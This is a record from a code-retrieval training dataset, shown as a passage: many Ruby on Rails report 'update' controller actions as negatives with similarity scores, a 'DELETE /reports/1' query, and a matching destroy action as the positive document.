}\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to admin_reports_path, notice: t('shared.msgs.success_updated',\n obj: t('activerecord.models.report', count: 1)) }\n format.json { render :show, status: :ok, location: @report }\n else\n set_date\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @custom_report = CustomReport.find(params[:id])\n\n if @custom_report.update(params[:custom_report])\n head :no_content\n else\n render json: @custom_report.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report = current_user.reports.find(params[:id])\n\n respond_to do |format|\n if @report.update_attributes(params[:report])\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report2 = Report2.find(params[:id])\n\n respond_to do |format|\n if @report2.update_attributes(params[:report2])\n format.html { redirect_to(@report2, :notice => 'Report2 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report2.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to reports_path, notice: 'Report was successfully updated.' }\n format.json { render :index, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report = Report.find(params[:id])\n\n respond_to do |format|\n if @report.update_attributes(params[:report])\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n # format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n # format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: \"Report was successfully updated.\" }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report_file = ReportFile.find(params[:id])\n\n respond_to do |format|\n if @report_file.update_attributes(params[:report_file])\n format.html { redirect_to @report_file, notice: 'Report file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @report_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @reports = args[:reports] if args.key?(:reports)\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user_report = UserReport.find(params[:id])\n\n respond_to do |format|\n if @user_report.update_attributes(params[:user_report])\n flash[:notice] = 'UserReport was successfully updated.'\n format.html { redirect_to(@user_report) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to [:admin, @report], notice: 'Report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { render json: { message: 'Report was successfully updated.'}, status: :created }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @journal_doc_report.update(journal_doc_report_params)\n format.html { redirect_to @journal_doc_report, notice: 'Journal doc report was successfully updated.' }\n format.json { render :show, status: :ok, location: @journal_doc_report }\n else\n format.html { render :edit }\n format.json { render json: @journal_doc_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report_type.update_attributes(params[:report_type])\n format.html { redirect_to(@report_type, :notice => 'Report type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report_type.update_attributes(params[:report_type])\n flash[:notice] = 'ReportType was successfully updated.'\n format.html { redirect_to(@report_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to reports_url, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report = Report.find(params[:id])\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to [@report.user, @report], notice: I18n.t('controllers.reports.successfully_updated') }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @inventory_report = InventoryReport.find(params[:id])\n\n respond_to do |format|\n if @inventory_report.update_attributes(params[:inventory_report])\n format.html { redirect_to @inventory_report, notice: 'Inventory report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inventory_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to report_path(@report.id), notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: report_path(@report.id) }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @quarterly_report = QuarterlyReport.find(params[:id])\n\n respond_to do |format|\n if @quarterly_report.update_attributes(params[:quarterly_report])\n format.html { redirect_to(@quarterly_report, :notice => 'Quarterly report was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @quarterly_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @report.update(report_params)\n @report.create_activity action: 'update', owner: current_user\n redirect_to @report, flash: { success: 'Report updated.' }\n else\n render :edit\n end\n end", "def update\n @event = Event.find(params[:event_id])\n @report = @event.reports.find(params[:id])\n @report.member_id = current_member.id\n\n respond_to do |format|\n if @report.update_attributes(params[:report])\n format.html { redirect_to(event_path(@event))}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @software_report = SoftwareReport.find(params[:id])\n\n respond_to do |format|\n if @software_report.update_attributes(params[:software_report])\n flash[:notice] = 'SoftwareReport was successfully updated.'\n format.html { redirect_to(@software_report) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @software_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update(report_params)\n format.html { redirect_to @report, notice: 'El Reporte fue Actualizado Exitosamente.' }\n format.json { render :show, status: :ok, location: @report }\n else\n format.html { render :edit }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def put_report(name, report, environment:)\n formatter = Puppet::Network::FormatHandler.format_for(Puppet[:preferred_serialization_format])\n headers = add_puppet_headers(\n 'Accept' => get_mime_types(Puppet::Transaction::Report).join(', '),\n 'Content-Type' => formatter.mime\n )\n\n response = @client.put(\n with_base_url(\"/report/#{name}\"),\n serialize(formatter, report),\n headers: headers,\n params: { environment: environment },\n )\n\n # override parent's process_response handling\n @session.process_response(response)\n\n if response.success?\n response\n elsif !@session.supports?(:report, 'json') && Puppet[:preferred_serialization_format] != 'pson'\n #TRANSLATORS \"pson\", \"preferred_serialization_format\", and \"puppetserver\" should not be translated\n raise Puppet::HTTP::ProtocolError.new(_(\"To submit reports to a server running puppetserver %{server_version}, set preferred_serialization_format to pson\") % { server_version: response[Puppet::HTTP::HEADER_PUPPET_VERSION]})\n else\n raise Puppet::HTTP::ResponseError.new(response)\n end\n end", "def update\n @reports_part = ReportsPart.find(params[:id])\n\n if @reports_part.update(params[:reports_part])\n head :no_content\n else\n render json: @reports_part.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @admin_report.update(admin_report_params)\n format.html { redirect_to @admin_report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_report }\n else\n format.html { render :edit }\n format.json { render json: @admin_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # update the attribs\n @report.assign_attributes(params[:report])\n \n # if report is not valid, can't run it\n if @report.valid?\n # save\n @report.save\n # re-run the report, handling errors\n run_and_handle_errors\n end\n \n # return data in json format\n render(:json => {:report => @report}.to_json)\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @report.update(report_params)\n\t\t\t\tformat.html { redirect_to reports_url, notice: 'Report was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @report }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @report.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n @report_field = ReportField.find(params[:id])\n\n respond_to do |format|\n if @report_field.update_attributes(params[:report_field])\n format.html { redirect_to(@report_field, :notice => 'Report field was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report_field.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @reporte = Reporte.find(params[:id])\n\n respond_to do |format|\n if @reporte.update_attributes(params[:reporte])\n format.html { redirect_to @reporte, notice: 'Reporte fue actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reporte.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_report\n prepare_params\n end", "def update!(**args)\n @report_requests = args[:report_requests] if args.key?(:report_requests)\n end", "def update!(**args)\n @report_requests = args[:report_requests] if args.key?(:report_requests)\n end", "def update\n @tps_report = TpsReport.find(params[:id])\n\n respond_to do |format|\n if @tps_report.update_attributes(params[:tps_report])\n format.html { redirect_to(@tps_report, :notice => 'Tps report was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tps_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @report_line = ReportLine.find(params[:id])\n\n respond_to do |format|\n if @report_line.update_attributes(params[:report_line])\n flash[:notice] = 'ReportLine was successfully updated.'\n format.html { redirect_to(@report_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report_line.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @neuotransmitter_report = NeuotransmitterReport.find(params[:id])\n\n respond_to do |format|\n if @neuotransmitter_report.update_attributes(params[:neuotransmitter_report])\n format.html { redirect_to @neuotransmitter_report, notice: 'Neuotransmitter report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @neuotransmitter_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @office_report.update(office_report_params)\n format.html { redirect_to @office_report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @office_report }\n else\n format.html { render :edit }\n format.json { render json: @office_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ee_report.update(ee_report_params)\n format.html { redirect_to @ee_report, notice: 'Ee report was successfully updated.' }\n format.json { render :show, status: :ok, location: @ee_report }\n else\n format.html { render :edit }\n format.json { render json: @ee_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event_report.update(event_report_params)\n format.html { redirect_to @event_report, notice: 'Event report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @spam_report = SpamReport.find(params[:id])\n\n respond_to do |format|\n if @spam_report.update_attributes(params[:spam_report])\n flash[:notice] = 'SpamReport was successfully updated.'\n format.html { redirect_to(@spam_report) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spam_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @all_report.update(all_report_params)\n format.html { redirect_to @all_report, notice: 'All report was successfully updated.' }\n format.json { render :show, status: :ok, location: @all_report }\n else\n format.html { render :edit }\n format.json { render json: @all_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @comparative_report = ComparativeReport.find(params[:id])\n\n respond_to do |format|\n if @comparative_report.update_attributes(params[:comparative_report])\n flash[:notice] = 'ComparativeReport was successfully updated.'\n format.html { redirect_to(@comparative_report) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @comparative_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question_report.update(question_report_params)\n format.html { redirect_to @question_report, notice: 'Question report was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_report }\n else\n format.html { render :edit }\n format.json { render json: @question_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report_template = ReportTemplate.find(params[:id])\n\n respond_to do |format|\n if @report_template.update_attributes(params[:report_template])\n flash[:notice] = 'Report template was successfully updated.'\n format.html { redirect_to(report_templates_path) }\n format.xml { head :ok }\n else\n @heading = \"Editing report template\"\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update\n respond_to do |format|\n if @admin_report_tag.update(admin_report_tag_params)\n format.html { redirect_to @admin_report_tag, notice: 'Report tag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_report_tag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @management_info_system_report = ManagementInfoSystemReport.find(params[:id])\n\n respond_to do |format|\n if @management_info_system_report.update_attributes(params[:management_info_system_report])\n format.html { redirect_to(@management_info_system_report, :notice => 'ManagementInfoSystemReport was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @management_info_system_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @accounting_report.update(accounting_report_params)\n format.html { redirect_to @accounting_report, notice: 'Accounting report was successfully updated.' }\n format.json { render :show, status: :ok, location: @accounting_report }\n else\n format.html { render :edit }\n format.json { render json: @accounting_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @client_report.update(client_report_params)\n format.html { redirect_to @client_report, notice: 'Report was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_report }\n else\n format.html { render :edit }\n format.json { render json: @client_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @fin_report = FinReport.find(params[:id])\n\n respond_to do |format|\n if @fin_report.update_attributes(params[:fin_report])\n format.html { redirect_to @fin_report, notice: 'Fin report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fin_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @inpatientdailyreport = Inpatientdailyreport.find(params[:id])\n\n respond_to do |format|\n if @inpatientdailyreport.update_attributes(params[:inpatientdailyreport])\n format.html { redirect_to(@inpatientdailyreport, :notice => 'Inpatientdailyreport was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inpatientdailyreport.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @daily_report.update(daily_report_params)\n format.html { redirect_to @daily_report, notice: 'Daily report was successfully updated.' }\n format.json { render :show, status: :ok, location: @daily_report }\n else\n format.html { render :edit }\n format.json { render json: @daily_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n @group_report = GroupReport.find(params[:id])\n\n respond_to do |format|\n if @group_report.update_attributes(params[:group_report])\n flash[:notice] = 'GroupReport was successfully updated.'\n format.html { redirect_to(@group_report) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @report_request = ReportRequest.find(params[:report_request][:id])\n @fields = params[:field_filter]\n\n @fields.each do |k, v|\n field_filter = @report_request.field_filter(k.to_i)\n field_filter.update_attributes(v)\n end\n \n respond_to do |format|\n format.html\n format.xml { head :ok }\n end\n end", "def update\n @report_question = ReportQuestion.find(params[:id])\n\n respond_to do |format|\n if @report_question.update_attributes(params[:report_question])\n format.html { redirect_to @report_question, notice: 'Report question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @report_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_report\n @report = Report.find(params[:id])\n end", "def set_report\n @report = Report.find(params[:id])\n end", "def set_report\n @report = Report.find(params[:id])\n end", "def set_report\n @report = Report.find(params[:id])\n end", "def update\n respond_to do |format|\n if @report_subscription.update(report_subscription_params)\n format.html { redirect_to @report_subscription, notice: 'Report subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @report_subscription }\n else\n format.html { render :edit }\n format.json { render json: @report_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def solveticket(assigneeid, ticketidxml)\n\n raise ArgumentError.new(\"no assignee is present\") if assigneeid.empty?\n raise ArgumentError.new(\"ticketid is present text provided\") if ticketidxml.empty?\n\n xml = createsolvedticketxml(assigneeid)\n\n begin\n resource = RestClient::Resource.new @hostname, @username, @password\n url = 'tickets/'+ ticketidxml\n httpresponse = resource[url].put xml.to_s, :content_type => 'application/xml', :accept => '*/*'\n processresponse(httpresponse) # call success handler\n rescue => e\n processerror(e) # call error handler\n end\n\n end", "def update\n authorize @expense_report\n\n\n @expense_report.actual_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @expense_report.trip.destination\n req.expense_type = 'actual'\n end\n end\n\n\n respond_to do |format|\n if @expense_report.update(expense_report_params)\n format.html { redirect_to @expense_report, notice: 'Expense report was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense_report }\n else\n format.html { render :edit }\n format.json { render json: @expense_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #@team_report = TeamReport.find(params[:id])\n\n respond_to do |format|\n if @team_report.update_attributes(params[:team_report])\n format.html { redirect_to team_team_report_path(:team_id => @team.id,:id => @team_report.id), notice: 'Team report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params.permit!\n @dailyreport = Dailyreport.find(params[:id])\n\n respond_to do |format|\n if @dailyreport.update_attributes(params[:dailyreport])\n format.html { redirect_to(@dailyreport, :notice => 'ๅทฅ ไฝœ ๆ—ฅ ๆŠฅ ่กจ ๅทฒ ๆ›ด ๆ–ฐ ๏ผ \\n\\n Dailyreport was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dailyreport.errors, :status => :unprocessable_entity }\n end\n end\n end", "def report(id)\n get(\"reports/#{id}\")\n end", "def update\n respond_to do |format|\n if @project_report.update(project_report_params)\n format.html { redirect_to @project_report, notice: 'Project report was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_report }\n else\n format.html { render :edit }\n format.json { render json: @project_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reports_translation = ReportsTranslation.find(params[:id])\n\n respond_to do |format|\n if @reports_translation.update_attributes(params[:reports_translation])\n format.html { redirect_to(@reports_translation, :notice => 'Reports translation was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reports_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_report_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ReportApi.update_report ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling ReportApi.update_report\"\n end\n # resource path\n local_var_path = '/api/3/reports/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'report'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Links')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ReportApi#update_report\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @time_report = TimeReport.find(params[:id])\n\n respond_to do |format|\n if @time_report.update_attributes(params[:time_report])\n format.html { redirect_to @time_report, notice: 'Time report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @time_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n params.permit!\n @dailyreport_job = DailyreportJob.find(params[:id])\n\n respond_to do |format|\n if @dailyreport_job.update_attributes(params[:dailyreport_job])\n format.html { redirect_to(@dailyreport_job, :notice => 'Dailyreport job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dailyreport_job.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @appointment_report.update(appointment_report_params)\r\n format.html { redirect_to @appointment_report, notice: 'Reporte actualizado con exito.' }\r\n format.json { render :show, status: :ok, location: @appointment_report }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @appointment_report.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @xml_sample = XmlSample.find(params[:id])\n \n respond_to do |format|\n format.html do\n @xml_sample = XmlSample.update_attributes(params[:xml_sample])\n if @xml_sample.save\n return redirect_to @xml_sample, notice: 'Xml sample was successfully updated.'\n else\n return render action: \"new\"\n end\n end\n format.xml do\n rexml = REXML::Document.new(params[\"xml\"])\n attr = Hash.from_xml(rexml.to_s)\n if @xml_sample.update_attributes(attr[\"xmlsample\"])\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n else\n xml = {msg: \"failed\", status: \"NG\"}.to_xml\n end\n return render xml: xml\n end\n end\n end" ]
[ "0.6636008", "0.65041757", "0.64983416", "0.64934784", "0.6209521", "0.6200539", "0.6200248", "0.6200248", "0.61958337", "0.61544424", "0.61226845", "0.6119069", "0.611681", "0.61123073", "0.6112214", "0.60990727", "0.6088551", "0.6043774", "0.6036607", "0.60289955", "0.60289955", "0.60289955", "0.60289955", "0.60289955", "0.60289955", "0.60289955", "0.60289955", "0.60289955", "0.6024275", "0.60164464", "0.60164464", "0.60017955", "0.6001065", "0.6000549", "0.5992626", "0.59842616", "0.59765846", "0.59745085", "0.59737855", "0.5953953", "0.5938791", "0.59139365", "0.5912063", "0.58937144", "0.58879995", "0.58708483", "0.5829418", "0.5829363", "0.58256125", "0.5814815", "0.58032686", "0.580298", "0.5801744", "0.57859266", "0.5756542", "0.5756542", "0.5748184", "0.5742857", "0.5734393", "0.57254833", "0.571123", "0.56956726", "0.5694305", "0.5683512", "0.5680593", "0.5665012", "0.5660689", "0.5655257", "0.5646835", "0.56459993", "0.56421477", "0.5640616", "0.5634498", "0.563432", "0.562747", "0.5623556", "0.5605778", "0.5596049", "0.5582093", "0.5579025", "0.55768305", "0.55732536", "0.55732536", "0.55732536", "0.5573201", "0.55711025", "0.55650944", "0.55605274", "0.5558936", "0.55587465", "0.5556968", "0.55400425", "0.5533124", "0.5529463", "0.5519026", "0.5513947", "0.5511249", "0.5508771", "0.5503393", "0.5501308" ]
0.6513428
1
DELETE /reports/1 DELETE /reports/1.xml
def destroy @report = Report.find(params[:id]) @report.destroy respond_to do |format| format.html { redirect_to(reports_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
